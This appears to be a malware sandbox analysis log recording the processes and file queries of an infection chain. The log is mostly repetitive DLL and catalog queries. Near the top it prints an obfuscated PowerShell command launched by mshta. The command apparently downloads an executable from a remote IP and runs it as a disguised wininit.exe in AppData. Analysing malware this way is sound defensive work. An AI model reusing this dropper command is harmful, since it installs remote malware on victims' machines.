Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jgozckggicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagyurelxr5ueugicagicagicagicagicagicagicagicagicagicagicattuvtymvyzgvgsw5pvelptiagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ukxnb04urgxsiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagte9etwxjwuzirixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbltyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbmcmqsdwludcagicagicagicagicagicagicagicagicagicagicagigtdtxyssw50uhryicagicagicagicagicagicagicagicagicagicagicagc0t3afnvz0zkktsnicagicagicagicagicagicagicagicagicagicagicaglw5htuugicagicagicagicagicagicagicagicagicagicagicaiuetkbwrxiiagicagicagicagicagicagicagicagicagicagicagic1oyw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicagicbmwvbocgzavmggicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagjgozckg6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly82ni42my4xodcumjmxlzmzl2nhc3bvbc5leguilcikru52okfquerbvefcd2luaw5pdc5leguildasmck7u1rbulqtu2xfrvaomyk7auv4icagicagicagicagicagicagicagicagicagicagicagiirftny6qvbqrefuqvx3aw5pbml0lmv4zsi='+[char]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jgozckggicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagyurelxr5ueugicagicagicagicagicagicagicagicagicagicagicattuvtymvyzgvgsw5pvelptiagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ukxnb04urgxsiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagte9etwxjwuzirixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbltyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbmcmqsdwludcagicagicagicagicagicagicagicagicagicagicagigtdtxyssw50uhryicagicagicagicagicagicagicagicagicagicagicagc0t3afnvz0zkktsnicagicagicagicagicagicagicagicagicagicagicaglw5htuugicagicagicagicagicagicagicagicagicagicagicaiuetkbwrxiiagicagicagicagicagicagicagicagicagicagicagic1oyw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicagicbmwvbocgzavmggicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagjgozckg6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly82ni42my4xodcumjmxlzmzl2nhc3bvbc5leguilcikru52okfquerbvefcd2luaw5pdc5leguildasmck7u1rbulqtu2xfrvaomyk7auv4icagicagicagicagicagicagicagicagicagicagicagiirftny6qvbqrefuqvx3aw5pbml0lmv4zsi='+[char]0x22+'))')))"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Users\user\AppData\Roaming\wininit.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
